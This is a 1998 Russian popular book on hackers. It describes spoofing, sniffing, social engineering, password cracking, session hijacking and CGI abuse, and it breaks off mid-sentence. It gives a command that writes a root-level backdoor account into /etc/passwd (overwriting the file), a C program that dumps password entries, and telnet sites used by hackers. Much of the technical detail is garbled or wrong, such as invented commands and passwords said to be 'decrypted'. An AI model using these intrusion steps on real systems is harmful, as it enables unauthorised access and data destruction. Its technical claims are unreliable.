Борис Леонтьев. Хакеры, взломщики и другие информационные убийцы --------------------------------------------------------------- © Copyright Борис Леонтьев Home page: http://members.rotfl.com/bobleon/ ? http://members.rotfl.com/bobleon/ Email: bobleon@uniinc.msk.ru --------------------------------------------------------------- ББК 32.973 УДК 681.3 Главный редактор Дмитрий Царик Корректор Ирина Царик Художник-дизайнер Борис Леонтьев Леонтьев Б. Л80 Хакеры, взломщики и другие информационные убийцы. -- М.: Познавательная книга, 1998. -- 192 с. ISBN 5-88548-067-2 Очевидно, что смысл Сети сетей состоит в разумности ограничения круга пользователей того или иного сервера. Если подобный сервер закупорен полностью, то и работать может с ним лишь тот, кто его закупорил. Поэтому, любая компания, прежде чем принять решение о вступлении в сообщество Internet, дает себе отчет в том, что существует возможность проникновения в свой главный сервер неких посторонних лиц. Вот эти посторонние лица и называются хакерами... Copyright © Борис Леонтьев, 1998. Copyright © Издательство "Познавательная книга плюс", 1998. Copyright © Design Studio M&C, 1998. Оформление серии и этой книги. Copyright © Издательство "Утро" совместно с фирмой "Олег и Павел", 1998. Авторские права на настоящую книгу, название серии "Кратко, доступно, просто" и оформление самой серии принадлежат Борису Леонтьеву. Полное или частичное копирование книги, а также публикация других рукописей в рамках этой серии без разрешения правообладателя является нарушением авторского права и может иметь юридические последствия в соответствии с действующим законодательством. Вся информация, опубликованная в этой книге представлена в исключительно образовательных целях, а также для повышения квалификации программистов, системных администраторов и провайдеров Internet. Автор предупреждает читателей этой книги, что он не несет никакой ответственности за те последствия, которые могут возникнуть в результате проведения экспериментов с предоставленной информацией. Все названия продуктов, упомянутые в этой книге, являются товарными знаками или зарегистрированными товарными знаками соответствующих организаций. Программное обеспечение, описанное в этой книге, поставляется исключительно по лицензионному договору и может использоваться или копироваться только в соответствии с условиями этого договора. Копирование этого программного обеспечения на какой-либо носитель информации, если на это нет специального разрешения по лицензионному договору, является нарушением Закона Российской Федерации "О правовой охране программ для ЭВМ и баз данных" и норм международного права. ЛР No 069954 от 01.12.1991 г. Сдано в набор 06.07.98. Подписано в печать 06.09.98. Формат 60X84/16. Бумага типографская. Гарнитура "Newton". Печать офсетная. Физ. печ. л. 12. Тираж 5 000 экз. Заказ 48. Hacker's Manifest This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt cheep if it wasn't run by profiteering gluttons, and you call us criminals. We explore...and you call us criminals. We exist without skin color, without nationality, without religious bias...and you call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to make us believe it is for our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike. Кто такие хакеры Очевидно, что смысл Сети сетей состоит в разумности ограничения круга пользователей того или иного сервера. Если подобный сервер закупорен полностью, то и работать может с ним лишь тот, кто его закупорил. Поэтому, любая компания, прежде чем принять решение о вступлении в сообщество Internet, дает себе отчет в том, что существует возможность проникновения в свой главный сервер неких посторонних лиц. Вот эти посторонние лица и называются хакерами. Да, хакеры -- это те, кто взламывают сети. Делается это разными способами. Например, через порт терминала или порт электронной почты. Выбрав жертву, хакер прежде всего определяет, имеются ли на сервере плохие пароли, плохо настроенный софт или испорченная операционка. Затем выбирается метод собственной безопасности. Самый распространенный способ проникнуть в сеть так, чтобы остаться незамеченным -- это взлом по цепочке. Существуют тонны программ, посредством которых компьютер может вести поиск пароля через перебор некоторого словаря имен. Сложнее вскрыть сеть, если пароль логина имеет больше шести символов, чувствителен к регистру или содержит цифры. Но! В настоящее время многие сети открывают к себе доступ через автоматическое прохождение системы паролей. Эта система построена на так называемом файле паролей. В этом файле перечисляются доступные компьютеры и пароли сети. Что делает хакер? Он вламывается в сеть и скачивает этот файл. Все! Другой способ взлома -- взлом через отладочные переключатели операционных систем. Как известно эти переключатели могут иногда находиться во включенном состоянии. Кроме всех этих вышеперечисленных приблудов, конечно же, широко используется предварительная вирусная атака. Взломав сеть, хакер заметает следы и уничтожает всю компрометирующую себя информацию. И через некоторое время сматывается. Любой квалифицированный хакер через обыкновенный факс-модем может проникнуть даже в компьютер правительственного учреждения и, при желании, настолько внедриться в любую как бы то ни было защищенную систему, что просто-напросто разрушит ее. Так оно и было. Достаточно вспомнить злополучный сегмент Milnet сети сетей и всем известную лабу Rome ВМС США. Да, это был настоящий кошмар, когда один из этих чудаков-хакеров творил безобразия в течение недели на одной из самых секретных военных баз Америки! Вскрыть сеть можно и с помощью обыкновенного факс-модема или даже факс-аппарата. Ведь в любой достаточно крупной компании факс подключен к LAN! А это значит, что через номер факса хакер открывает доступ к заветному шлюзу. Любой более или менее серьезный (или даже несерьезный) хакер Internet ориентируется на локальную сеть. Ему интересен софт защиты от несанкционированного доступа. Он спит новыми версиями firewall. Он смеется при упоминании дурацкого "брандмауэр". Sun! Sun! Sun! На мир Робин-Гудов надвигается шерифовский Sun! Все! Все погибли! Все хакеры стали системными администраторами! Они исправились. Они больше не будут... Да-да, системные администраторы утверждают, что именно брандмауэр и есть то самое устройство, размещенное между локальной сетью и Internet, позволяющее разного рода придуркам отстать от нашего сервера. Вот именно, что только придуркам. Настоящим придуркам! Лицезреете пакетики для остановки шпионского трафика? А хакер давно завладел всеми функциями подтверждения полномочий! На самом деле хакер может сам проверить входные и выходные данные. Многие сисады боятся прощупывания их хакерами. И многие знают, что закупорка пакетов UDP может остановить вскрытие. Почему? Потому что сработает защита! Да, хакер блокирует пакеты, а поэтому любые входы через TCP так же блокируются. Но проблема в том, что в разработке самых умных брандмауэров участвуют те самые хакеры! А почему бы и нет? Почему бы и не написать код вирусной программы, а потом придумать соответствующий антивирус! Многие считают, что все-таки существует возможность вызвать мастера, который поставит стальную дверь с цветным домофоном. И многие надеются на эти самые брандмауэры Internet. Это далеко не так. Да, Firewalls способны изолировать локальные сети от вскрытия из Internet посредством экранирующих маршрутизаторов, двусторонних шлюзов и барьерной хост-машины. Но! Проблема в том, что это известно каждому хакеру. Экранирующие маршрутизаторы? Прекрасно! Проверка адреса IP и закупорка фальшивого трафика? А кто говорит, что это не так? Все верно! Купорим трафик. А как насчет Telnet и username/password logon?! Terminal Access Controller Access System? Включайте! Но это стоит больших денег. Многие компании защищаются электронными карточками. Поэтому их вскрывают меньше других. Это дело действительно грамотно сконфигурировано. SecurID Card имеет только тот юзер, который имеет право доступа! Соответствующая прикладнуха идентифицирует истинность юзера через двойную проверку счета и персональный код. Это все, действительно, хорошо, за исключением тех случаев, когда простой народ подает в суд. Не проще ли, господа, просто повесить трубку? Пусть всегда будет занято? Или нет? А многие, ради эксперимента, допускают к своим сетям хакеров. Результат бывает плачевным. Хакеры проникают в массу секретных систем, получают полный контроль и делают так, что их никто не может обнаружить в течение долгого времени. Хакеры пользуются ошибками софта. Они знают, что система заработает сама по себе и конфиденциальная информация будет качаться туда, куда ей необходимо качаться. Бывают, конечно, и "случайные ошибки". А почему бы и нет? Могут быть в софте такие ошибки. Преднамеренные... Программные закладки, программные закладки... Хакеры используют их для тех или иных операций на удаленной машине. Да, действительно, хакеры используют эти самые закладки в своих межсетевых махинациях! И если ваша система есть узел коммутации телекоммуникационной сети, то хакеры могут расчленить сеть и воспользоваться расчлененным файлом паролей. Именно таким образом на Венеру не полетел космический корабль! Почему? Да потому, что оператор вместо запятой поставил точку. А как насчет 100 000 долларов, которые были позаимствованы неким анонимным подлецом во Внешэкономбанке нерушимой республики свободной? Хакеры, действительно, могут свести на нет безопасность информации любого сервера! Кто же они такие? Хорошие программисты? Бывшие системные администраторы? Обыкновенные студенты? Нигилисты? Оскорбленные юзеры? Вундеркинды из компьютерной школы? Методы хакинга: Спуфинг Известно, что любая система защиты типа Firewall позволяет "жить" только определенным адресам IP. Это весьма серьезное препятствие для проникновения в сеть. Поэтому хакеры нашли метод для преодоления этого барьера - спуфинг IP. Сначала хакер выясняет, какие из адресов IP проходят через firewall, затем использует один из вычисленных адресов в качестве своего и таким образом получает доступ к системе. Впрочем, это не всегда так. Например, известная система защиты FireWall-1 действительно дает возможность установить прозрачное подключение к Internet, используя практически весь диапазон протоколов межсетевого взаимодействия, обеспечив при этом некоторую (только в третьей версии этого экрана была залатана дырка, сидевшая в кодировке данных и идентификации клиента-пользователя) защиту сети. Многих администраторов, конечно, радует интуитивный графический интерфейс этой системы, а хакеров пугает многопротокольная проверка пакетов с так называемым учетом состояния протокола (SMLI), поэтому они стараются просто обходить сети с FireWall-1, оставив спуффинг для другой системы. Многие системные администраторы считают, что все-таки существует возможность вызвать мастера, который поставит стальную дверь с цветным домофоном. И многие, конечно, надеются на эти самые брандмауэры Internet. Позволю себе заметить, что это далеко не так. Да, Firewalls способны изолировать локальные сети от вскрытия из Internet посредством экранирующих маршрутизаторов, двусторонних шлюзов и барьерной хост-машины. Но! Проблема в том, что это известно каждому хакеру. Экранирующие маршрутизаторы? Прекрасно! Проверка адреса IP и закупорка фальшивого трафика? А кто говорит, что это не так? Все верно! Купорим трафик. А как насчет Telnet и username/password logon?! Terminal Access Controller Access System? Включайте! Методы хакинга: Сниффинг Сеть TCP/IP -- это около 150 дырок, сквозь которые открывается доступ в систему (TCP/IP -- протокол, через который устанавливается исключительно обоюдное постоянное соединение). Это так и еще раз так. И в первую очередь потому, что любой, кто регистрируется в сети TCP/IP (через telnet или ftp) посылает данные о своем пароле в обыкновенном IP-пакете. Поэтому, чтобы получить пароль и логин, достаточно выследить подобный пакет, приходящий на известный адрес, то есть захватить трафик. Далее у хакера будет выбор. Он может получить реквизиты чайника. Тогда доступ в систему будет ограниченным. Но если он получит пароль системного администратора, то сможет скачать файл паролей всех пользователей системы. Сниффинг - один из самых популярных методов воровства данных в сети (паролей, имен пользователей, ключей и т.д.) посредством специального программного обеспечения (так называемых снифферов). Снифферы, как правило, доступны лишь системным администраторам, так как эти системы весьма дорогие и не по карману даже самому крутому хакеру. Если сниффер попадает в руки хекера, то он сможет весьма эффективно контролировать сеть, захватив пароль и идентификационное имя системного администратора. Атака посредством сниффинга не предусматривает создание собственного фальшивого адреса IP для обмана фильтрующей системы адресов. И в самом деле, зачем нужен фальшивый IP, если замедляется только скорость входящего в систему потока информации. Это означает, что все можно списать на плохое качество связи. Лидер среди всех снифферских лидеров -- это пакет IP-Watcher 1.0: n выборочное отслеживание пакетов IP. n захват активного соединения. n закупорка сетевых соединений. n закрепление на удаленной системе. n прерывание активного соединения TCP. n совместное использование нескольких соединений. n невозможность идентификации n административным мониторингом. Самый смак пакета IP-Watcher заключается в том, что хакер может продлить жизнь соединению после его разрыва пользователем. Хакер загоняет пользователя в ловушку. Сначала он захватывает трафик. Затем рвет связь. Ждет. Пользователь опять входит в систему и регистрируется. Пароль у хакера в кармане. Выборочное отслеживание пакетов IP позволяет, например, перехватывать только идентификационные данные или файлы любого компьютера, принадлежащие серверу. Методы хакинга: Мусорные бачки Хакеры часто исследуют мусорные бачки крупных компаний и иногда находят счета за телефонные переговоры, внутренние телефоны компании, различные технические руководства, номера кредитных карточек и т.д. Методы хакинга: Ловля на дурачка Каждый хороший хакер обладает превосходными навыками в искусстве пудрить мозги. Например, хакер может заручиться доверием системного администратора с тем, чтобы получить доступ к секретной информации посредством простого телефонного разговора, в котором он представит себя в качестве какого-нибудь техника-смотрителя. Методы хакинга: Взлом паролей Самый простой путь - интуиция хакера (названия песен, имена актеров). Более сложный - через специальную программу, которая автоматически ищет пароль с помощью словаря. У хакеров имеется огромное количество методов для выяснения паролей и получения доступа к сетям. Эти методы варьируются от простых (запись в отдельный log-файл нажатий клавиатуры) до изысканно сложных (дешифрование огромных баз данных). Кошмарные ночи системных администраторов Sysad не спит. Он на работе. Он не может спать. А ему так хочется... Нужно сказать, что в основной своей массе системные операторы -- закоренелые недалекие пользователи. Именно из-за них и происходит большинство взломов. Нет, не из-за их некоммпетентности, а скорее из-за хамского поведения этих сетеподобных личностей. Сисасады терпеть не могут придурковатость обыкновенных юзеров. Они их считают недоучками. А если среди этих недоучек попался хакер!? Пусть попробуют? Вот люди и пробуют. Пробуют и у них получается! Сисад смотрит на дисплей. Работает сисад. А машина-то тормозит. Почему это она тормозит? Нет, не понять это ему. А где же этот файл? А это, что за папка? Почему этот файл стал больше на сто килобайт! Боже, какой я дурак! Меня вскрыли! Ма-а-а-а-а-ма! Нет, сисад не теряется. Сисад умный. Сисад быстро проверяет файл паролей. Файл паролей! О, май год! Его скопировали! Вот он этот странный вход. Я нашел! Я же говорил, что нельзя делать столько привилегий! Все, я погиб... пошла вирусная атака. И не помнит сисад, что накануне весьма грубо отвечал какому-то дураку по обыкновенному войсовому телефону. А этот кто-то и оказался тем самым подлым взломщиком. Хе-хе. Доступ к Internet, Windows 95 и Russian Online Итак, у вас имеются модемный номер доступа (258-4120), имя домена (online.ru), subnet mask (255.255.255.0), первый адрес DNS (194.67.1.154) и второй адрес DNS (194.67.1.155). Поехали настраивать Windows. Нажимаем Network. Выбираем Configuration. Удостоверяемся, что присутствуют Dial-up Adapter и TCP/IP. Далее, конфигурируем TCP/IP Dynamic IP Address. Теперь конфигурируем соответствующий драйвер для Windows 95. В папке Control Panel щелкаем на Network, далее на TCP/IP Protocol и Properties. В появившемся диалоге в IP Address выбираем Obtain an IP Address automatically option, в конфигурации WINS выбираем Disable WINS Resolution (компания всех провайдерских компаний Sovam Teleport не обязывает вводить IP-входной номер). Исходя из последних скобок Client Microsoft Networks оставляем без изменений, а в пункте DNS Configuration выбираем опцию Enable DNS. Теперь вводим собственный localname в поле Host, а в поле Domain вписываем доменовское простое и понятое online.ru. В поле DNS Server Search Order вписываем договорный IP адрес сервера (194.67.1.154) и нажимаем кнопку Add. Поле Domain Suffix Search Order оставляем без изменений. Наконец, нажимаем кнопку ОК, перезагружаемся, вновь входим в Windows 95, открываем My Computer и щелкаем на иконке Dial-up Networking. В Make New Connection вписываем любое название иконки. Нажимаем Configure, попадаем в диалог General и ставим скорость работы в сети. Дальнейшие действия должны быть вам понятны. Помните, что в Server Type в поле Type of Dail-up Server вы должны выбрать РРР. При этом опция Log on to network в Advanced Options должна остаться неактивизированной! Кроме всего этого долбанного бреда обратите внимание на опцию TCP/IP в Allowed network protocols. Эта чудная опция должна быть отмечена. Далее, конфигурируем модем для автоматического набора в случае, если линия занята. Из Dial-up Networking folder выбираем Connections, затем Settings и, наконец, необходимое количество соединений. Теперь щелкаем на созданной пиктограмме, входим в Connect to и вводим UserID в чудаковато-придурковом формате UserID@online.ru. Вводим пароль, нажимаем Connect, входим в систему, тыкаем на F7 и, игнорируя диалог Connected to Dial-up PPP, попадаем в до боли знакомую Сеть. Как стать хакером Дальше идут шуточки шуточек. Стать хакером очень просто. Достаточно выучить и понять: математические дисциплины (математический анализ, теорию функций комплексного переменного, алгебру, геометрию, теорию вероятностей, математическую статистику, математическую логику и дискретную математику), инженерные дисциплины (физику, аппаратные средства вычислительной техники, основы радиоэлектроники, сети связи и защиту информации от технической разведки), дисциплины по программированию и вычислительной технике (информатику, языки программирования высокого уровня, методы программирования, язык ассемблера, операционные системы, системы управления базами данных и вычислительные сети), специальные дисциплины (криптографию и теоретические основы защиты компьютерных систем). Это достаточно полный список. Но если же говорить о более подробных хакерских вещах, то вам необходимо знать, что на свете существуют: n криптографические методы в системах защиты государственной, конфиденциальной и коммерческой информации. n криптографические методы и средства защиты и дешифрования информации. n математические методы расчета надежности шифрсистем. n математические модели процессов, возникающие при защите информации. n методы решения вероятностных, статистических и алгоритмических задач криптографического анализа, синтеза шифрсистем и криптографических протоколов. n методы определения угроз безопасности информации. n методы построения математических моделей защищаемой информации, шифров и шифрсистем. n методы преобразования информации в сетях различного типа. n методы прогнозирования оценок криптографической стойкости. n обеспечение надежности функционирования аппаратуры шифрования и тестирования программно-аппаратных реализаций криптографических алгоритмов. n общая методология криптографического анализа и построения оценок криптографической стойкости шифрсистем. n определение каналов утечки информации методикой измерения и расчета параметров опасных сигналов. n основные положения теории электрических цепей. n основные принципы организации систем и сетей связи и особенности современных сетевых архитектур. n основные типы шифров, шифрсистем, криптографических протоколов и способы выбора системы защиты. n особенности разработки и сопровождения программного обеспечения для рабочих групп и парапрограммирования. n принципы построения шифров, шифрсистем и криптографических протоколов. n типовые методы криптографического анализа и оценивания криптографической стойкости. Хакер или взломщик? Многие думают, что смысл существования хакеров состоит в травле несчастных юзеров Internet. Именно к таким типам, наверное, и относится Клиффорд Столл, выследивший чудаков из Германии, продававших секретную компьютерную информацию коммунистам. Наверное, он прав. А вот Роберт Моррис, автор знаменитого червяка-разрушителя, считает, наверное, по другому. Что же может сделать простой хакер? Хакер или взломщик? А есть ли между ними разница? Есть мнение, что многие вирусники как раз и пишут антивирусы. Значит, есть и хакеры-взломщики или, нет -- взломщики-хакеры. Впрочем, все равно информационные убийцы. Как же эти убийцы узнают пароли, вторгаются в Internet и заражают программы на уровне протокола передачи файлов? Используя особый софт, который вы можете скачать из Internet, вы можете сами стать хакером. Наберите в Yahoo шизофреническое "crack"... Взлом сети Возможен, например, с помощью Internet. Достаточно похитить пароль через удаленный доступ по протоколам FTP или Telnet. В этом случае у хакера имеется возможность перехватить трафик и с помощью какой-нибудь ищейки поймать идентификаторы пользователей, а если повезет, то и тонны паролей того или иного узла. Задача хакера -- получить пароль высокого уровня, то есть пароль супервизора, и уже с помощью этой информации захватить пароли всех остальных юзеров узла. Хакер может войти в сеть в качестве удаленного пользователя под видом проверки электронного почтового ящика. Как правило, пароли для электронной почты весьма простые, и иногда поддаются расшифровке с первой попытки. Хакеры-профи применяют более действенные методы взлома. Речь идет об угоне соединения TCP. Схема проста. Как только реальный юзер идентифицируется узлом, хакер переключает соединение на себя и передает в циклическом режиме по TCP ряд цифр до тех пор, пока не получает последовательность номеров, через которую можно подойти к середине сеанса связи, а затем отконнектить юзера. То есть, хакер не тратит зря время на ломку весьма сложной системы шифрования или раскодировку сеанса регистрации. Нет! Хакер угоняет весь сеанс регистрации. Хакер может также воспользоваться ошибками программного обеспечения выбранного узла. Ошибки кодов софта, обслуживающего удаленных юзеров -- это беззащитные дырки. Например, знаменитый Netscape Navigator без конфигурирования защитных параметров или пиратская программа для чтения электронных сообщений, или сценарии (о них читайте ниже) CGI со свободным входом. Возьмем, например, знаменитую Microsoft и ее детище Windows. Многие применяют стек TCP/UP этой системы. Каждому же хакеру известно, что динамическая библиотека данных, отвечающая за этот стек, написана, мягко говоря, некорректно, то есть, при большом желании хакер может по любому из протоколов семейства TCP/IP получить доступ к содержимому винчестера выбранного хоста. Действия системного администратора на хакерские прибамбасы n уничтожение подозрительных экаунтов. n мониторинг системы. n чтение чужой электронной корреспонденции. n отключение ARP. n построение сети без NFS. n использование машины без NetBIOS над TCP/IP. Шлюзовой интерфейс CGI-BIN В подавляющем числе удаленных компьютеров каталог CGI-BIN зарезервирован для исполняемых файлов. Это означает, что файлы из этого каталога могут быть запущены через Web. Обычно в этом каталоге хранятся сценарии на языке PERL, которые запускаются на удаленном сервере Web-программой CGI (вы просто нажимаете кнопку Submit, которая сформирована кодом формы HTML, написанным для исполняемой программы CGI). В этот каталог, при большом желании, можно поместить и другие файлы, имеющие такое же отношение к общему шлюзовому интерфейсу, как и Билл Гейтс к созданию UNIX. Гипертекстовый язык предоставляет только информацию для чтения, то есть модифицировать Web-страницы может лишь их автор. Но! Используя общий шлюзовой интерфейс CGI, можно добавлять некоторые операторы HTML в сгенерированную страницу. Это означает, что вы можете запросить информацию у Web-сервера, затем запустить поисковый софт и получить то, что вы хотите. Вы просто вставляете нужные вам операторы гипертекстового языка в существующую Web-страницу. Ваша задача -- найти Web-сервер, который использует CGI и тем самым способный запускать различный софт. Файлы общешлюзового интерфейса -- это не обыкновенные текстовики, это вполне полноценный софт (в частности, когда вы блуждаете по Web, вы используете CGI). Софт этот (как правило, код пишется на языке сценариев Perl -- Practical Extraction and Report Language) хранится в каталоге CGI-BIN нужного вам сервера Web. Хакер взламывает сервер, находит этот каталог, запускает программу CGI, передает ей подготовленные им данные, она их обрабатывает, возвращает на броузер хакера результат и, наконец, преобразовывает уже свои данные в нужную хакеру гипертекстовую страничку. Как это делается? Хакер нажимает Submit и броузер начинает работать согласно инструкциям оператора ACTION таким образом (происходит передача ключей и значений), что удаленный компьютер запустит сценарий из удаленного каталога CGI-BIN. К исполняемым файлам каталога CGI-BIN доступ неограничен. Поэтому, к примеру, хакер может поместить в этот каталог программу чтения файлов паролей или небольшую приблуду, позволяющую заменять файлы. Демоны команд Если вы хотите установить связь с удаленным компьютером и запустить на нем демона команды finger, то попробуйте вставить вместо name символ кваквы, а после кваквы указать имя удаленного компьютера или его IP-адрес (имеется ввиду Telnet). Хакер через эту же квакву может запустить демона какой-нибудь другой команды. Речь всего-навсего идет о синтаксисе некоторых команд. Телнетимся и еще раз телнетимся Многие знают, что telnet используется для: n регистрации на удаленном компьютере. n использования софта Internet, в том числе клиентских программ на удаленном компьютере. n запуска любого доступного софта на удаленном компьютере. Хакер обращает внимание на последний из вышеперечисленных фактов и на нижеследующие телнетовские сайты: anarchy-online.com ntiabbs.ntia.doc.gov l0pht.com sfpg.gcomm.com telnet lust.isca.uiowa.edu порт 2600 pcspm2.dar.csiro.au prince.carleton.ca порт 31337 Любимые хакерами команды UNIX Ниже мы приводим краткое описание команд UNIX, без которых этой операционной системой никто бы не пользовался. at Вы указываете день/час когда выполнится команда. batch Выполнение команд в процессе загрузки. chmod Этой командой вы можете изменить полномочия файлового доступа. chown Был у файла один хозяин, а стал другой. cron Это демон таймера, точнее демон команд batch и at. crontab Вы можете указать промежутки времени, в течение которых будут выполнены какие-либо команды. ftp Работаем с удаленным компьютером. Принимаем или пересылаем файлы. kill Послать некоторому процессу сигнал о конце работы. logname Хочу получить регистрационное имя. mail Прием или пересылка электронных сообщений. news Отобразить статью из конференции Usenet. nslookup Получить сведения об IP-адресе домена. passwd Создать/изменить пароль. ps Просмотреть, какие процессы в текущий момент времени активизированы. pwcheck Этой командой вы можете проверить файл паролей. По умолчанию этот файл лежит в каталоге /etc/passwd. rm Стереть файл или каталог. sleep Не выполнять команду в конкретный промежуток времени. su Умело используя эту команду, хакер может стать привилегированным пользователем. telnet Доступ к удаленному компьютеру. umask Если вы только создаете файл, то этой командой вы можете задать так называемую маску полномочий этого файла. uucp Копируем файлы из одного компьютера UNIX в другой. uuname Отобразить список хостов UUCP. uux Выполнение команд UNIX на удаленном компьютере. who Отобразить список текущих пользователей. whois Получить информацию о текущем пользователе. write Переслать записку текущему пользователю. Кого взламывают в UNIX В мире хакеров и киберпанков существует небольшая градация юзеров UNIX. n Technical Thug. Обычно системный программист, пишущий скрипты на sed, C, awk, perl и APL. n Administrative Fascist. Законченный тунеядец, вынужденный стать системным администратором UNIX. n Maniac. Взломщик с большим опытом. Правда, его талант в области компьютерного шпионажа не оплачивается ни Мосадом, ни Кубой. n Idiot. Обычно кретин или старый программист на Коболе, выбранный системным администратором Международным Комитетом кретинов. Лазейка, возникающая при передаче файлов через rcp Если параметр rcp утвержден в файле config.tel, то это означает, что открыт доступ в систему из Internet. Новый экаунт Чтобы создать новый экаунт, хакер использует следующую конструкцию: # cd /home; mkdir "Bob's home directory"# echo "Bob Leontyef: gandalf:0:0::/dev/tty:compress -f" > /etc/passwd Он может также написать сценарий на Perl, который создает исходный каталог и копирует данные в /etc/passwd, /etc/shadow и /etc/group. Файл паролей Доступ к файлу паролей может быть даже у простого пользователя. В стандартном UNIX файл паролей находится в каталоге /etc/passwd. В других системах этот файл может находиться в другом месте. Кроме того, файл паролей может быть скрытым. Пароли в этом файле зашифрованы. Расшифровкой или извлечением занимаются специальные программы. Именно они и предоставляют в руки хакера самый главный пароль -- суперюзера root. В файле паролей содержатся семь идущих по порядку вещей: n Username n Encrypted password n User number n Group Number n GECOS Information n Home directory n Shell Например, файл паролей из /etc/passwd может быть представлен в следующем виде: bob:5fg63fhD3d5gh:9406:12:BobLeontyef:/home/fsg/will:/bin/bash Эта запись переводится так: n Имя пользователя: bob n Расшифровка пароля: 5fg63fhD3d5gh n Номер пользователя: 9406 n Номер группы: 12 n Информация GECOS: Bob Leontyef n Каталог по умолчанию: /home/fsg/will n Shell: /bin/bash Unix-пароли расшифровываются только одним способом. Специальная программа расшифровывает текст, который вводится в поле password и сравнивает этот текст с формой дешифровки. Поэтому софт, крякающий пароли, использует коллекцию различных слов или словари. Каждое слово в таком словаре расшифровывается и сравнивается с формой encrypted поступающего пароля. Лучшая крякалка паролей для Unix -- Crack by Alec Muffett, для DOS -- CrackerJack. В UNIX широко применяется система скрытых паролей: область /etc/passwd заменяется специальным символом, а метод расшифровки хранится в отдельном каталоге, который доступен только пользователю root. Атака на многие скрытые пароли осуществляется через специально написанную программу, которая использует последовательные запросы к getpwent, например: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } Маленький исходник для скрытого файла паролей #include main () { struct passwd *p; while(p=getpwent ()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } Конфигурация Linux и подключение к удаленному узлу Скрипт удаленного подключения лежит в /usr/local/sbin/initppp. Далее идут конструкции: #!/bin/sh PPPD = "/usr/sbin/pppd" $(PPPD) connect '/usr/sbin/chat -v "" ATZH0Q0M1 OK ATDT3560100 \ CONNECT "" ogin: Suserid word: "`cat /etc/ppp/password`"' \ /dev/modem 115200 Файл в /usr/sbin/pppd является стандартным, таким как /dev/modem. Например, /dev/cua1. Установка опций для модема проходит через команду ln -sf /dev/cua1 (для первого коммуникационного порта). Файл паролей лежит в /etc/ppp/password. Через скрипт хакер может изменить пароль так: `cat/etc/ppp/password`. Network Information System или древние желтые страницы UNIX UNIX NIS позволяет нескольким компьютерам сети иметь различный уровень доступа к конфигурационным файлами. Если атакуемая версия UNIX использует NIS, то хакер получит файл паролей /etc/passwd с очень короткой строкой, типа вот этой: +::0:0::: Чтобы увидеть действительный файл паролей хакер использует команду ypcat passwd. Таинственный знак после запятой Этот знак соответствует времени хранения пароля. Это означает, что пароль в определенный момент времени может быть заменен пользователем после системного администратора. Пароль перед заменой может еще храниться некоторое время. Типичная запись /etc/passwd с данными о времени хранения пароля: bob:5fg63fhD3d,M.z8:9406:12:BobLeontyef:/home/fsg/will:/bin/bash Обратите внимание на запятую в области дешифровки пароля. Знак после запятой используется только механизмом хранения пароля. Таким образом, символы, соответствующие данным времени хранения пароля для вышеприведенного примера, будут такими: M.z8 Эти четыре символа интерпретируются следующим образом: Максимальное число недель, в течение которых пароль не может быть изменен. Минимальное число недель, в течение которых пароль должен использоваться перед заменой. Отметим три важные вещи. Если первые и вторые символы установлены как "..", то пользователь будет вынужден изменить свой пароль в следующий раз. В этом случае программа passwd удалит данные о хранении пароля. Если третий и четвертый символы установлены как "..", то пользователь будет вынужден изменить свой пароль в следующий раз. Данные о времени хранения пароля будут соответствовать первым и вторым символам. Если же первый символ (MAX) меньше чем второй символ (MIN), то пользователю вообще не позволяют изменить пароль (только root может его изменить). Заметим, что хакер не может командой su изменить данные о времени хранения пароля. Доступ к файлу паролей системы VMS В VMS файл паролей есть SYS$SYSTEM: SYSUAF.DAT Однако, в отличие от пользователей UNIX, большинство пользователей VMS не имеет доступа даже к чтению этого файла. Хакер может взломать пароль VMS только через специальную программу, которая использует функции SYS$GETUAF для сравнения результирующих расшифрованных слов с расшифрованными словами, полученными из данных SYSUAF.DAT. Две такие программы следующие: CHECK_PASSWORD и GUESS_PASSWORD. Взлом по методу Бивиса и Батт-Хэдда Это один из приемов угадывания пароля. Хакер входит в сеть. Перед ним поля данных для ввода логина и пароля. Что он делает? Оставляет эту сеть в покое. Он входит в эту же сеть по другому пути. Через ту сеть, к которой у него есть доступ. Он телнетится с определенного адреса IP и запускает программу-взломщик, которая подбирает (запускает на удаленном компьютере UNIX-программу login) пароль и логин, а затем еще и сама регистрируется за него. Взлом систем через древний Login Hacker Эта большая и весьма гибкая программа предназначена для взлома многих систем. Чтобы проникнуть в систему, вы можете использовать три прилагаемых к программе файла-словаря, а также Brute Force Generator. Эта программа также может использоваться системными администраторами для проверки их систем на вшивость. Авторы этой программы предостерегают вас: не стоит пользоваться этим софтом в преступных целях, отвечать перед законом будете только вы сами. Но, с другой стороны, если вы напишите хороший скрипт (сценарий), автор этой программы надеется, что вы пришлете исходник по адресу: vh@campus.de. Конечно, большинство систем находится под строгим наблюдением и многие терпят неудачу при попытках регистрации (срабатывает система защиты, тревога и новичок получает путевку в не столь отдаленные места). Многие серверы бьют тревогу уже после десяти неудачных попыток зарегистрироваться и, как правило, системный администратор знает что делать дальше. Впрочем, в Unix имеются некоторые дыры, позволяющие подбирать пароль и имя пользователя практически без срабатывания системы защиты сервера, то есть в конце-концов вы входите в ситему. Для этого вам нужен отработанный в интерактивном режиме скрипт и знание некоторых команд Unix. Эту программу вы можете эффективно использовать в старых телекоммуникационных системах, в которых число попыток зарегистрироваться неограничено. Для чего нужен взлом? Конечно, для того, чтобы войти в систему. С другой стороны, автор этой программы запрещает пользоваться ей для получения контроля над всей системой. Эта программа предназначена прежде всего для тех, кто хочет получить только один экаунт. Если его зарубят, вы можете снова воспользоваться этой программой. Только для этого. Никакого криминала. Многие пароли подбираются легко. Это относится к паролям так называемых средних пользователей. Подбирать пароль, соответствующий экаунту ситемного администратора весьма-весьма чревато. Например, в Unix при этом срабатывает специальная система защиты и возникает сообщение об ошибке (auth.crit): CRITICAL. В системах NetWare подобная система начинает функционировать уже после неудачных регистраций. Помните, что практически все системы позволяют регистрироваться в качестве системного администратора только с той консоли, которая принадлежит серверу с главной системой. Поэтому никогда не взламывайте 